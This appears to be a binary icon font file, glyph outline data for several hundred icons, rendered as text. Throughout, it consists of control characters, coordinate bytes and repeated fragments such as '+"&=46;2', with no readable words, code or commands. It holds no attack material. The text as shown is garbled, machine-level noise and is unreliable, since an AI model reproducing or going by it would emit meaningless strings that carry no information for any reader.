 H   4     @   D     X  ` @ P        8    !L #8 $T %| & & ( )P *< * + ,| -t . .X /8 0 0l 1< 1 2 2 4H 5$ 6x 70 7 8 9, :$ ;d << =h > @ A B C D E F G Hp I, I K\ L  L N8 O O P8 Q Q S` T` U$ V8 V X X Y4 Z [ [t \ \x ] ^` ^ _l _ ` a4 a b c d| d eh fP g, h h j k l| m n n ot p, p q r4 r r s t t t u v@ v w x x y` y z {@ { | }( } ~`         ` @ $      D  h      32+"546;5'&63!288**           632"&46325"&4632467		8P88( 8P88(			%%6%K%%6%
      !  %"/&=#"&46232&264&"d8HVzzz,
jKKjKd
,zzzVH8KjKKj     "/&6767>/+

+/)k&&k(|+

+|(#	''	  1   62/&?'&6?	(	Aj  j&g	DD
g&          $"&4622#!"&=46;27jKKjK&7OO7#L#KjKKjkO7**7O    	      / ; G S _ k w    2+54+"!54+"#"&546;;2=!;2=54+";2=4+";2=4+";254+";2=4+";254+";2=4+";2=4+";2

((

(@(((((((p((((((


P
((l((l((````((l((l((        / ?  32+"&=46#2+"&=46346;2+"&5"&=46;2#(


F







(



















  	       0 B R b r    +"&=46;2+"&=46;2746;2+"&5#+"&=46;22+"&=46346;2+"&5%"&=46;2#"&=46;2#%46;2+"&5
e

e
f

f
 
e

e
 f

f


e


e

e


e

e

e


f

f
P

P

P



P

	
P


P

P


P


P

P

P

P
h

P

          / ? O _  7+"&=46;246;2+"&52+"&=463"&=463!2#463!2#!"&5"&=463!2#
e

e

e

e
}

e













P

P


P


P

P
@
P

P


P


P

P
          7'&4?62762"%p%	$p$    aq #  7"/"/&4?'&4?62762d		
	dd	
		dd		
	dd	
		d	
		dd		
	dd	
		dd		
	        5 =  ++"=#"=4;54;232"/&=#"&46232&4&"208 88 8d8HVzzz,
dPpPPp  88 88d
,zzzVH8dpPPpP      % -  +"=4;2"/&=#"&46232&4&"20d8HVzzz,
dPpPPp   d
,zzzVH8dpPPpP   ) 9  #".54>7632654&'.?>+"&=46;208gCrC. 	
bFEc$ _
 

 
"k=gBrD)L>	"'EcbG'G	



   h   / ? O  72+"&=4632+"&=463%2+"&546372+"&546372+"&5463		0		P		0		0		0				0				0						`	`		`				 	`				`	 			     < D  %/'&=&''&'&?&47'&767667547676264&"	&+"	76
"*	&	**	&	*"	77	"*	&	*B//B/
5)1

1)5	$
5)1

1)5
##-/B//B  A  D  62+"&=4.+"+"&=%#"/&"#"/&54?62546;2	p	@		p	"Z8,	
`	`
	1JI         2"&4?6/54+"ΑΑ1
	@0Α	'
.     E " 0 B  %+'4&+"#"&76;;265'32;26/&+"2>5'4&+"3=	Dbb((7	.	-bb@4,,00      + 3 ;  3232"/&6;546#!"&=46;2?324&"264&"2P
X
		
X2
0

1*1
|L
		
p

p
11j     @    %#!"&=4?>3!23373'8 jU{ p {U
+@@      <  2+"&=46303.#"3267632#".54632'41463eU'IggID")-.CsBfIA/ .gg"
BrDf)R      * T  4146;2+"&=463.#"+"&545>322676;2#"&'1+"=46;2#'/fU':d
1ZIA9d
1Z0n/fV/ .O8	Ws)O8	Ws3$R/ .          ' 3 ? K  !"&5463!2 "264"264"264754+";254+";254+";2`"""""" `h""I""I""  T  T          %2#!"&=46;5462#54&"Y~YP*<*H?YY?HH**H     '  276#"&#"+"&5&54662^0E;?$h>4

"!Gh] 	)#^

!

#     1  2+"&=46;254&"6;2+"&/.=4Ԗ
A-

/!qq!/

-A
j0-?

"OqqO"

?-0j        6/#"&=46;Yf

fyY

     #  6/#"&=46;.6764'.>Yf

f				xY

)0).     @  ' > P  6/#"&=46;%.67>54&'.>&'&67>4.'.>.6764'.>Yf

fB<DD<	!/91	(-)			
)a				yY

'~~'=J';h!`S	$,.,$6)0).  	         # ' +  =3'3573#75#53'35%3#5##5333#'3#@@@  ` @`@  @  @@@@@@@@@ `                   # ' + / 3 7 ; ?  13333333333333333333333333333333			$										         =46;2"/&6"264((((((        )  %"/&=46;2264&""'764/32(((2(1(((J(        # / 8  %#!"&5463!2;2=4+";2=4+"&7!"3		
(88(H
X4
8(@(8
nF       
  463!2' @0p       # ' 0 8  2+#!"&=#"&=4635463!25!%5#"&=#264&"%	00	%	.	@  0	& %p	``	p%	.	```	0H      " *  #!"&546;7>;2324&"26"&462 `X
~XFdFFd&4H44H0 !	!dFFdFH44H4    - 0  %2+"&=46;'#32+"&=46;>;2'3'									0	^/ 	 		 	@@	 		 	j		    % -  %+"&=46;#"&=46;2'3264&#264&+MR6		  		9LW  W?$4F	0	 	0	T9$a`(!.!p    @ #  +32+"&=46;#"&=46;2@	?P/				?P/			 		 		 	@	 		      C - I  2+"&=#32+"&=46;#+"&=4632"/&6;5#"&?62+0		 	8(				(8	 		 PP00PP0	`		 	 		 	0 		`	PPPP      - I  2+"&=#32+"&=46;5#+"&=463&=#/&4?63546		 	x				x	 		[PPPP	P		p	 		 	p		P	PP00PP00       / ?  7"&=463!2#"&=463!2#2#!"&=4632#!"&=463		`				`		`&& &&@	 		 	 	 		 	      / ?  2#!"&=4632#!"&=463"&=46;2##"&=46;2		`				`		\ 	 		 	 	 		 	@(( ((       / ?  7"&=463!2#2#!"&=4632#!"&=4632#!"&=463						`			 		 		 		 	&& &&       / ?  %2#!"&=463%2#!"&=463%2#!"&=463%2#!"&=463		`				`				`				`		 	 		 		 		 		 		 		 		 	       / ? O _  72+"&=4632+"&=4632+"&=4632#!"&=4632#!"&=4632#!"&=463P		@		@		@		@		@						@				@				P	@		@	@	@		@		@		@		 		 	@	 		 		 		 	        + ; K  7'&4?62#!"&=463%2+"&=46372+"&=46372#!"&=463e``D		`				`		U``-	 		 	&&&&	 		 	        + ; K  7&=462#!"&=463%2+"&=46372+"&=46372#!"&=463`5		`				`		U`	 		 	&&&&	 		 	       @    2#!"&54636/5P"#n & K           "  )"&5463!2 "264!5'&'&`.!!.!hX8H H!.!!.pX8H         .5462"="pp"=6#X$5"PppP"5$X#
       6462"7264&#ΑgLllLYΑΑ@ll    `  !  "&54>762264&#"&54&"6,!gg!-5-		!/		B4_6I&JhhJ&H8^4@		/!		.B     @   7  .?67/&?624?6#!"&5463!2+!Z\
$Z$ ((@mZ
\ #Z#(`(     @   4;276/+"@0%%0        54;27676//+"(%%%%(h        7&4?6'7&4?6'%%@%%



        %&546136          #"&546;2%+"&546;2`````0`        2#!"&5463`        %&546&546%%@%%

@

@        +"=&=&54654654;2 (%%%%(t@   @   +"=&54654;20%%0X        %#!"&=463!2%"&?62#p*@@@399    %   ?62"/&4#    %   %"/.?'&6?62     #  2"&454+54+"#";;2=32ΑΑ\8\\8\Α΃8\\8\\       2"&4!2=4#!"ΑΑtΑΏ88    #  2"&4'76/&'&??6ΑΑrBB(	AA	(BB(	AA	(ΑΨAA	(BB(	AA	(BB(         "&46276/&'&Α΄Fh'ΑΑFh     + 3   "&462"7>32;2=4>54&"264Α`J+	#	8H &&'ΑΑR@		


	&*<&&        '  2"&4$"26454+54+";#";2ΑΑ	""@XΑ#""d@        ( P X  %2++"=.'#"=4;>754;2>7#"=4;.'+"=32+54;24"&4623N.(FeeF(Fe,?
))
?,(,?
))
?,((.N3eF(FeeF
?,(,?
))
?,(,?
)y         2"&4.67ΑΑ`4&`4&Α`&4`&4       %"/&4?62!2#!x

xs
 
s         762"/&6?!"&=463!'.x

x}s
 
s        7'&4?62&/+"&5#s
 
sx

x     %"/&4?646;27>s
 
sx

x         &='.54>75461D2#02LP4
X*@+U,,B)	P
        ! 2 C  546;2++"%4;2+"=#"52+"=4;543+"&=4;232
|T( |
(T
|T|
(T|
(T
|T|
(T
|T        ! 2 C  #"&=4;232%+"=4;54;2+"=#"=4;2+"=46;2+|
(T
|T((T|
(
|T 
|T(
(TXT(
||
(     #  %2++"&=#"&=46;546;2            %2#!"&=463        6  %/+"&?&/&6?'.?>'&>;276	&		&	r	"	TT	"	NN	"	TT	"	N          "&462"264';2574&+"ΑT&&Z0@'ΑΑ&&         . 9 C  353#"&53#2#!"&=46;&54632>32!3.#"3264&#"   	 	,
4$..$4
V#! @P		P$4 $$ 4$5"$% @ '  &'.7>3264&#"&546;26762"u8[5	 @Q}G		upPP/OBN	.%,.
/>0"		TPp/)    !  "&547632654.676#11#qq7%&
"2,2M/OqqON9U&% "*=%
      @   -  %#".'&47>22654&"72"&54732654'6=*[<oV*<TTxTT<(88O9	Pa-O5PaaT<<TTxT8O99'	       3 J  %27#"&'&4767#"'&54?632>32'654&#"654'6320@4)%[*i'@_57[*0IT<6I	'80)
aPQ%=#:c
aP<9<T98'    H   !  %#!"&762"264';2574&+": 8&&Z0@00&&  @ *  2++"&?#+"&?'&6;23'&>;2BBri	B	1g+(	  	(+g1B	i '2':ll:      	  ! - 9 E Q o  !#!"&%;2=4+";2=4+"';2=4+";2=4+"';2=4+";2=4+"2!546;546;23546;2@((((((((((((P@0	 		 	((((t((((t((((@000		00		0      ;  %&=#"/73546%"=4;2'!#+"=4;76;546&5P;F55 coF55  oT;PPYP(K:9(g8K:98(PP       2#"'#"&'&>7&54Ԗj83AL9zz319JV          ?  #"&=46;2%+"=46;232".54546;226=46hYhNt{tO2<2,PPP|,	Ht;;tG14-44-4    ;E   /&/&4?62=    ;E   7'&4?>76"C    } ! C  %"/&4?625#"/&6;2762+"&="/&4?62"/32vee(	
(
(ee(	hdd+
+
+dd+   B .  %#!!2"&547#"&547#"&=46;2!2 !.!!.!FF

g	 #!!!! W

-          2#!"&546;`@@ @     D     %#!"&?>3!2%"46;32=I!pI!T 	E@||8v@0            / ? T  %"&=46;2#3"&=46;2#!"&=46;2#3"&=46;2#2#!"&546;2M&:&&:&		0	 	FF@	 	P		       - 5 = M  !2#!"&546";2=4#2=4&+"#"3264&"62"&4265463264&#"0`	t@	dFFdFTH44H4!			&` 	
`J	-$FdFFd4H44H4			&     " *  #"'+++"&=4?&54>32264&" gI%
(
p
	/Q0Ig((Ig(
(

N
0Q/g((    ; C      '&'&?&'#"'&76;67'&767667632+/'>'&/'.=&''&'&?&7'&76766754676276>.6'&'&?&'#"'&76;67'&767667632+/'>'& 







&	&	g"	!&&	 
!!
 	&& 
"{#0#0	







&	&			
				

	>##
(
""
'
 
'

"	"&
50#0#		
				
		>##  B  +   #"'#"&'&767&5462#"'#"&'32654'zV<3+.&z.+3<@hc9HB^")3B^"
6,qO	Q13         &?'&6?6  jA	HD	g&       ,  %+"/&=#"&546?#"&=463!2+*&


0&*



* -
h00h
$<v
0

0
   @ 1 9 A  232#!"=46;5.'&'&=46;5463!2&'#%5#676(
>0>%0%%0$>0>
h

@@#
88-"4HH
&"-88
(

()--)         / 7 ?  %#"&=#"&?62+7#!"&=46;;26=324&"264&"2(P
X
		
X
0

!P!
|L@
		
p

p
!!j  # 7   &.7>&>676>.2327>"		
'BF:;-++"		
'BF:;-+4j
^"++-;:FB'
		"++-;:FB'
	cj4,^        #"/&?6>7'&?6p1;[<0h0<\:2p       .  2#!"&54632654/"#"'&#".xA
%#KF	`x	FK#%
A     &  %2#!"&=46;5462+"&=4&#"Y}Z
 
+*f@ZY?

*+g      @ 	  ! +  =!#!"&7;2=4+";2=4+"!5463!2@ HH X((((00         1  6"&462+"&5.'"&=463+"&5.'"&=463%5&&5	0	wT	
t	0	ː	
VsF;5&&5%o
	Tw	0	t
		0	Gr       @   & .  %#!"&=463!2'!"7>3!2&"264&"264@ 0 aa3s``<
`      @ , 4  $#"/&++"'&547#"&=46;2?632#2@ 	UBUK"%%UBU	@!TkkTJ
D5+"#5:%`%5D
C`C   ;  %//&/&?'.?'&6?'&67>7676.
?>	--	>?
..
?>	--
>?
-
>?
..
?>
--
>?
//
?>
        ' 7 ?  %+#*#"&'.=47>763232+"&=46;24&"2 d
##GE
	`
0

0
+% $	-+


         & 6 >  3&'&632#*#"&7.7.7#"&54632+"&=46264&"-	
EG#('
d0

0
$+-	$$#%+



   ' 7 ?  2666+"'.'&54654632+"&=46"264+%#$$
-+


d
'(#G
E
	`
0

0
     & 6 >  5&547>76;2'''#"&546;2+"&64&"2\+-	$$#%+



	
EG#('
d0

0
      %  "&462'326=4&+764/&"2?64gΑΑL

L8ΑH

H     %  2"&47#";2?64/&"ΑΑL

LΑH

H     %  6462"'7;26=2?64/&"2ΑH

HYΑΑL

L      %   "&46254&+"'&"2?64/&"ΑH

H'ΑΑL

L 	       " + 1 7 =  #>2473#%#&'%#>#64'#&4733"&673%3.P0:0Bl#5S$lSk		rr		r(0:0$lSl#5S DTT@  @ \2K[2\3K    !>!@"!>!!DTTJ2\3K~\2K     $  '"&4?&67>76 264&"	P&5%J$JDK<S$I%5%Q	KDJ         + 3 C S c  "/&4?62762"/&4?627622"&4%2#!"&=4632#!"&=4632#!"&=463I
/
@
H
/
@
\((				 				 					H0
?
H/	?((	 		 	@	 		 		 		 	     2/&='&63P
8ι        ' +  %53#!"&=3;2672!546;546;2#5#@`	`	 P@p00		PP00      ;  %"/&6;5#/&4?635#"&?62+3546&=#32`OO3eOOe3OO3eOOe3OOe3OO3eOOe3OO3e        & : H  6"&462"&4622+.'63*&4622#!"&=46;27'#"&=46;2z4&&4&4&&4& &B \BB\B#0CC0	!F!(B&@&4&&4&&4&&4F& *!B\BB\bC00C:# &    % K  "&4?62?64'&'&5&?66&'&'&?>'&"&'&4?6G,,D,~Y,&	<C	jY,&	<C	
,,D,-~,D,Y~,&
	;C<
Y~,&
	;C<
	-~,D,       %#!"&5467454632632.K5<T6*^B,J(8$65KT</JB^,$8(     %  %#!"&?5#"&=46;2+3'&=#(**(u



0@,#II#



iN

    ' / 7  %"/"&46327'#"&462762264&"264&"		Ft8P88(!!(88P8tF			s(88P8!!8P88(s	F      # ,  !#!"&546;3;#!"&546;#532@


H!
h


y`
(

p
!X


p
I
`  2  &6?62&'&6?6?64'&"2?6"++,"^!!!@		(3H-~--"""_!?		*K5-      (  #!"&5463!2264&"4/&+";256%%6%>`%6%%6h        2#!"&5463`      /  "&=463!2#"&=463!2#"&=463!2#				`				`				<	(		(		(		(		(		(	         ' 7 G  2"&42"&42"&4%2#!"&=4632#!"&=4632#!"&=463((((((				@				@				((((((	 		 	@	 		 		 		 	    * : J Z t   7#"'&?63254+"/&?67#"=4;20%2#!"&=463%2#!"&=4632#!"&=463'"=4;5#"54?6;232#"=4>54#"/&763232#>	9				@				@				D		

'/		
			 		 		 		 		 		 	@X
	        1 T  %2#!"&=46;&'&54>;2#"'.+"3+"./&54?632;2654&		 		f!9"D C	+
BW^H4D.%
	+

B	 		 	"9!)
`3I!

	       / ?  "&=46;2+26=#"&=46;2+"&=2#!"&=463 				 /B/ 				 ^^p		`			 		 	!//!	 		 	B^^B	 		 	             2#!"&54635#75#5#75#``````````          ' +  /?/?/?"/&47627'    5555E5555b			
U		l	
;W3V`   `555555
			U
	l		V3W    ' / 7 <  %2+"&5#"&5#"&5463!232264&"264&"75'#p		08P88P8@,d,((\((d,`	 	(88((88(@0dlp((((dp           ! & +  2#!"&546334&#5265#264&"5"75#`@%%@B//B/`%@@%@%%8P88Ph@%@%    W9    !2"/&6
		
 		      `9	   %!"&?62!
		
`		      ' Y   /&4?6		A
		
       ' Y   546&		?
		
          2#!"&5463#!#``       3    732"/&6%+"&?62)wwwwwiw    3    732"/&6)wwww    4   %#"&?62wwww        :  6#!"&=4632>76".#&'&=463!2"`!y
	vz4		1}X		Ue	Y(&[	      +  7#"&=4;2>3#"'&?63264&#"320#a6gg_G
	"	2BIggI+JbN'+͑@		",gg'!0      7  %"/&4?'"/&4?627'"/&4?62762|(Q		s		.		s		Q(}q}(Q		s		.		s		Q(|q  D   2#"&?#".?>;2(.w 
* 
       5 E U  72+"&=4637#546;5#"&=46;2+32#5##52+"&=463!2+"&=463`H0((00H`P````P0:@``@:000P````   B - C  %'."'0.#""'.&7>75462632#"&'&>3265@57	(74\\/!*	
#+
'"+$
cz

zx!/		      / 8  #"&546;6232#"6"2643+"&546;7#532h

QJQ
!*h


r`
B
P
  
H!y

0
h
&`B      `    0  53+"/&46320#41&'&7264&#"26546`
>	`dKJg,%%,		.B		/&&
 GigIB2+00+2		B.		!/        U  $"&462462"7#!"&=4672654&'527267?6/546?6=4&'jKKjK6J@0!.!:$00 $KjKKjN5--1KQ!!R

.,, *,        B J  2#"&'.=46?6326='.?>326=&7>264&" gIGg7I?
	9('8
?I73.B!$			P%qEc_DY9		
{(8:'z

	9X.=+q&%P			       	   !  46;235+32#"&546;00`00 p  P `      +  "&537#!".54767>546754624&			H8%:!@%q
	
C,:V,B&,C     '  7"&=463!2+##3264&!"'&763!2(8
5KK5 8(  && !	H@8(
KjK(8 &4& 	        ' 3 ; G S o  !54;46;546;23232#";2=432=4+"#"3547#";2=44+";25'3;2=32=4+54+"#"@
X
p
X
((((t(@4((((
,h
H

H
 ((@((TT`(((      ' / K S X  %2+"&5#"&5#"&5463!232264&"754+54+"#";;2=32264&"75'#p		08P88P8@,d,((808808((d,`	 	(88((88(@0dlp((088088((dp        % I  3546;2335+32#"&546;4&+54&+"#";;26=3265`  @ 	0	 	0		0	 	0	 `00  P ` 	0		0	 	0		0	      /  %#32+535##'53535'575#5#57335#532+3 ``0u(s0C"0@@0"C0s(u0PE*EP     " . :  2#!"&5463!254&+7626=4&"26=4&"p!/Q



@	07				W			`/!'
$*



(с	E							     3  #!"&5463!2#"#54&+";26=3;26=4&`p 		 		 		 		p`D	PP				PP			     +  2#!"&546354+54+"#";;2=32@\8\\8\`8\\8\\   a  *  ?62"/&4&4?62"'````ш````   a  +  7"/&4?'&4?627"/&4?'&4?>2````			````   A  +  7"/"/&4?62'62"/"&/&47````			````   A  )  7'&4?62762""/&4?62762````````    a   ?62"/&4 ``ш``    a   7"/&4?'&4?62````  XA(   "/"/&4?62`` ``     X@(   7'&4?62762"`````   @  #  2+32#!"&46;7#"&5463!H



H@00@        ! %  %2#!"&=46;;267!463!2!p	& &	= @ 	&&	pP            2#!"&5463264&"`     @    2+"&5463264&"c`         9  %2+"&=46;2+"#2+"&=46;2+"^B

&^B

&B^
0
&@B^
0
&@      9  2+"&=46;26=#"&=463#2+"&=46;26=#"&=463^B

&P^B

&PB^
0
&@B^
0
&@            ' / 7   "&4622"&462"&4 "&4622"&4$2"&4 2"&40(((((((((((B((((((`((((((((((B((     2"&4ΑΑΑ        )  2"&4"264&"26464."'.2ΑΑU	
#n#
	-Α**6       %  2"&4"264&"264>'&"762ΑΑU--#nΑ66*           2"&4"26424+"36264&"ΑΑΑ       `  - 5 =  2#"&'##"&46354+54+"#";;2=32264&"6264&"B^^BC\CB^^BX4444""W""`^^^^4444@""I""     @   ' 3 ? K W c o {     )"&5463!254+";2754+";2754+";2754+";2754+";254+";2754+";2754+";2754+";254+";2%54+";2754+";2 \((`((`((`((`((((`((`((`(((( `(( ((((((((((T((((((((T((((((     . 4 X  .'76#"&#"+"&5&546623256%5'5&'&56765767556	2	2;?$i>4

"!Gh0"(#M'##&>&#7.(!?&#%% *D	)"^

!#HFGH	DDGFFDDHFG    $  %"/&4?'&4?62#!"&=463!2w


0


 

     +  '&76'/&?6/&?'&?6==}	

	+		[[			+		[[		+	

@*t				.	PP	/	.	PP	.			   @  0  76&76&'/&4&4?61'3N>!0#9Txmm
S)F/,UZR
T

^^
   	   6.=#"&67/ 
/`%-       7  %2++"&53#"&5#"&=46;546;27#5376

(
0
s
(

(
0
s;;`
0
(

`

0
(

`;;       6 > F N  "&54>75.546267>767.5462$"264264&""264- 2
/B//B/9/B/									0**	)!//!*!//!*	 !///						7			    / ?  %"&4?62?6/&?62/&?64&""'&4?620		-,~Y,-	(-*<-(		-,~Y,-	(-*<-G*	-,Y~,-		(-<*-(	-,Y~,-		(-<*-G  z ) 1  2+"&=4>7>54&#"/.762"&4Bn%%
H
,+?F:((:(Z@ 1


"![)9))9         &  735#"&=46;232+"&=462"&4p6<**<*000*<**<        6"&46246;2+"&5/B//Bh
^

B
1B//B/G



        S  2+"&=46;5#"&54?6;2'2+32+"/+"&=46;7'#"&=46;2763		`			
0			!NN!		CPPC		!NN!		CPP 	 		 	`	 		`	0	pp	0	ss	0	pp	0	ss         S  !2+"&=46;5#"&54?6;22+32+"/+"&=46;7'#"&=46;2763		`			
0			!NN!		CPPC		!NN!		CPP	 		 	`	 			0	pp	0	ss	0	pp	0	ss      %32#!"/&4762%37` (|PrD(`( (1}PC     @ K  %2#"&#"".54654&#"&/054&54632>?03261
! $$#%54@p '#$#**")	2#$##0	M
2	20Ek     `  <  6"&=4627232+"&=46;5.=46;26=463P88P8@	WA8				8AW		B19T	`8((88((h	0Bc	"				"	iD(		*3NM80	   % F  '&?6546326=46;22+"&=46;5.=7z	
	
8(,		L				8AW4/2

	
	-(8,0		0*&				"	iD),'"      +  !2#!"&54%#!"=46;54;2354;232X0((0 ,$4444     8 @  6/&5#+"&=4675*.767&632347264&"
(

)	<!":
			t

!5
		L1-			     * 2  #"&="/&4?#"&54?>;>32264&"D<b


3		h
1h&eH3 
""!2Hd'h1
h		3


c
=C""         "&462%2?64/764/&"gΑΑee8ΑVff      2"&4'&"2?64ΑΑjeeΑVff      6462"2?2?64/&"ΑVffYΑΑjee        "&462764/&"'&"2ΑVff'ΑΑee    B B J  7"&?6+5#"=4;5.54632+>7#"&?6+"&' "264DD#R044$9((7$440R#DD  `DD'1(
2(98'2
(1'DDIWWI        & 2  %2#!"&=46;5462+"&=4&#"54&"26Y}Z
 
+*p""f@ZY?

*+g00         2"&4264&"62"&4264&"ΑΑllljKKjKf4&&4&ΑlllKjKKju&4&&4     x     $"&46:"&4$2"&4H*<**<t<**<*<**<*<**<**<**<**<**<          2"&<62"462"B<**<**<**<**<**<*<**<t<**<*<**<*        ) ;  2#!"&5463264&"265.'"3;265.'"33,((uS<U~f`((Su#U<}#f      2"&4>4&/&7ΑΑlΑk       2#!"&5463!2=4#!",`88         !"&5463!2'76/&'&`Fh `bFh        *  !"&5463!23?6/&7'&"?64`97g7 `.98	7     A  @  &="'.54>3546463276#!"&546;2+!8-?0	+-FJ/
y	3@H
';(O)*>&	HY`           >2"&2"&46.?67GΑΑv	BΑBB         #!"&5463!2?6&+"`||p`||         5463!2#!"&%'&;26`d||`||        !2#!"&54676/&0`||`||      B E  %#"&'#"&=4;&7#"&=4;>32'&#"32+32+32767	Mp!oH(>

r&",VF@P,(#	
		    @ 6  %2#!"=4;5#"=4;54632'&#"32+354634$O=7/			TT{`h((B7G#
$
@(3   * A  7+"&="'.?6;2654/.'&6;546;22'&+",-:$	 	0&"

Bg".A1	 	0&"

B	T-!'0		0"	

4"1G0		0"	
	   @ 4  #32++"/&=46;267#"=4;&+"&=43!24I	;5L9ST')U(`(8F5 (-(  n :  232+32++"=#"=4;5'#"=4;'&6;236?63_P:Xll8llX:PA77 % \\ % qH%#q       ) 2  7#32++"=#"=4;5#"=46;54;2'32654&#\;4444@QQM$((# (44( -OQۖ)#"(     @ E N R Z d h  #32++"/#+"/#"=4;'#"=4;'&6;2376;2376;2327#32>?#;'&'#7#136?#4?FU*
9	+7*
9	)TF>0*
m	,
n
.0x&Q'Q  (				( (Q		VV		VV		Q(66/  	66         ;#!"&546;#532



Ƞ
b8



zb       ) 5 >  ;#!"&546;54+";2=4+";254+";257#532



@`
b8



LTzb    5 O R  72"/&6;46;2%232+"&=4?#"&=4637+"/#+"&54?6;23'PP0	 	 	=8			=8			G	;*4 ```0		@	
F	 		
F	 	U		e0      5 O R  "&?62++"&5232+"&=4?#"&=4637+"/#+"&54?6;23'PP0	 	`	=8			=8			G	;*4  ``		0	
F	 		
F	 	U		e0      % 5 E U  %2+"&=463'2"/&6;46;2%2+"&=4632+"&=4632#!"&=4630		@		@PP0	 	0								 		 		 	 		 	@``0			 		 		 		 	 	 		 	    % 5 E U  %2+"&=463"&?62++"&5!2+"&=4632+"&=4632#!"&=4630		@		PP0	 	p								 		 		 	 		 	 ``		0	 		 		 		 	 	 		 	   5 = S  "&54?6;232+"&=46;56&/&767.7>264&"2"/&6;46;20	
0			`		
(>%
	$+
  PP0	 	`	 		p	 		 	@1'#2"=&\``0		    = S  %6&/&767.7>264&"'"&54?6;232+"&=46;5'++"&5#"&?62J(>%
	$+
!	
0			`		P0	 	0P1'#2"=&\	 		p	 		 	@;`		0`        D  72+"&=463264&"32#+"'&#"&=47>767632h

P

X e#

*!0H#5



y?#.) M,:$        F  46;2+"&56264&""'&'.'&=463276;23+
P

P
(#H0$
#e 



2:,(+ ).#?$      $  2"&4++"&=#"&?>;732e6%%6%8
 
80%%%6%%6h

h        $  2"&42++"&=#"&=46;7E6%%6%p

@

%%%6%%6k



   / 7  2"&4/"/&?'&4?'&67627664&"P88P8V

^!
d0/d
!^

^!d//d
!cKKjKK 8P88P/d
!^

^!d//d
!^

^!
dKjKKjK        ".5463276EvEj/7]>J@EuFj^6^y*       	  %  3!#!"&7;2=4+"%2#!"&=463 hh 	 	 0		0  ? E  %+"/#54+""'"&4?&=#"&546;5'&462376232 2#4 7=	
6(33(6
	=78/	
66
	/8\B <
	7  7	
< ;.
	77	
.;B..         !"&5463!26=4&`|| `d||         2"&44&"2ΑΑH/B//BΑΈB//B/      - C  %&/#"&'&54>32+3276'#"&54673267A> #		y9%W5Ig=2B.*?>!	$!	 	 {7/:gI7Y'3.B7)     :  %2+"=&=4?5&=4?54;27676265463t{eP1		71		78				Fbdp)
)
E3)
)
MH     3 <  %#!3#5#"&="=435"=435463352#!226&#"Q//4E	(B+*7"    "7*+B(	E54
#$#%@((@%#$#
p((@      % =  2#!"&546322>36754&#!"".'&'3!265
J(

(I	I

`5 

 	5		5

       % 9  +#!"=#"=4?622#!"=4637335335332!54;x
0
8@@@@@$`$@XX

       # .  /+"&?&54767'&47%67"&57n	8	0
pp!'"U<

ss
	"U,q%%q,
        `   D N e  7#?%2#!54+54+"#";&'&767?6'&'6732%463!!"&57;2?3;26/&+"&

 @@r			



 

;		<		9	 	&&!

@x
	
		


##l

8		
       % 5 E U ^ n  2#!"&546;254&+";26=4&+";2654&+";26=4&+";26=#"&=#'2+"&5463	.		 		 		 		 		 		 		 		 	0	  	.	 		 		 		 		y 		 		 		 		w@	0@@      ) 5 = I U a  2!54;463!2;2=4+";2=4+"2=4+"354+"754+";2=4+";2=4+";2@
P
((((4(t((((((( 

8((l((((TT((l((l((       )  462"6+"&=#+"&5'&462376x*<**<	__	
VfV
Z<**<*P
^pp^
	WW	      ( 3 ?  62#"&#"#"&546&.'&>.676.7>.>L\>&"LM"&>,/-	*,-/	C_&&_j4--
&A7 !-4
-!7A&7!         6/&=46?7575NhhHNNPB         ! ' + / 3 7  %//&=4?54?65'75'57'57'dhhdadd"UwfffUUfffVUUfff	n
2442
n	$l	&&	lI$E))&K'O''*FK'O''*     8 U  7/;2+".?'&6?67&"/&?6276/.?+/&?6326/&?6	(3
44$6	3)	n|	$	"
j*(	n	(-`PP`

"

Q!(0A"QI

--B
n5+0PP0!,

    7 A P a  2++"&=!+"&=&=47#"/&6;7>;2%!'.+":>54&"!264&#":	   	< "9 9"N			06  60		*
& *22!	       1 9 B J  %+"&=!+"&=&=46?>;546;232264&"7!'.+"264&"     ++5
#0$)  )%0#U"  "]C    /  %++"&?5#"&?#"&?#"'&?>2++z
		`		
P	O
nn
O	F11Z[uu[         #  #".=4632"&= "&= ]=g<]=g<G2GG2w.+!.+!{g++g1og++g1       & B K O  7.4326673#!"&546;&'6'.32767326'&7#532'63O


&$>$

O
%+(6V
	



$/
76 &
>"	
        < E  ;#!"&546;"&'&+"&'&+";27673;2?6.#7#532



9
	

%
%		&
&O
b8



 
es		s_
			cX		b      4 =  ;#!"&546;6&+"4'&+";2767;26/7#532



<#%%#<<#"#<
b8



ED]^=!$^b         " =  72+57#532;#!"&546;4&+";26=:>
7



5(!Q=




!,9        " -  #5323#!"&546;"2645'&'&
b


j''(	g((Fb0



((p(h((0       * . O  #5322"&5467;#!"&546;3533526/&+535#535#535##3#3#y
		w



h @ 2
           W




     &W
            a      ! / = F  ;#!"&546;54&#";67764'&7&7647#532



@$$!
		O
	
)@
b8



l$8$8	;n
N	*ub         4  #532;#!"&546;4&54&+";26=65
b



`7
p

p
7Fb



7&

p

&7        3 G `  #5323#!"&546;7654/7654/&#"32032?454/0#"764/&#"327
b


s((AA5>>A((Fb0



$$==1g=$$       ! '  2"&4%&'264&"'677&'67'ΑΑ?P88P8 @m?@Α@8P88P?@m?     #  46#"&'46762654&'&5 QiBrCgiQ:LllL:VCrCgVb?LllL?b       6/&=6&'.7H
}@
 jP4MQ%,     % 7   #"'.?>3264&#"+"&=46632/546;2gXD2@LllLI53	2Hcg$A

)'͒7(ll23	2E3

h    K  32+"&=46;5#32+"&=46;#"&=46;2+35#"&=46;2# 				  				  				  				`	 		 		 		 	@	 		 		 		 	     !  ++"&5#+"&=#"&46;2	0	 	 	 	 B^^B	 			p		p^^	     # G k  %2#!+"&=#"&=46;546;2%2++"&=!"&=463!546;272++"&=#"&=46;546;2			 	P		P	 	P		P	 			P	 	P			 				 	@	 				 				 				 				 				 			      %  %2"&547'#"&46327&5462#"'6`(88P8f"(88("f8P88("ff8P88(
@8P8@
(88P8@

@     5  #!"&5463!2"'64'73264&"&#"327264&`DD!!.!D!!D!.!!p`))!.!!)!.!)!!.!       ' / 7 ? O  "&4632762?2+"43&2"=&?6'&6/&6463264&#"264zzzV-)4M0.	U	;	&		(8		h4)-Vzzz4<+					&		8(		      % *   "&462'7&''77'77'?6'7Αa?"'>KK>'#?&U%>>%U&NN'ΑΑ:T6**6T:B4"MM"4\88\    ! - 9 E Q ] i u       >#"/&5417&0#"/&54+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2DD
+W``W+`((`((`((`((`((((`((`((`(((( `((XD11D
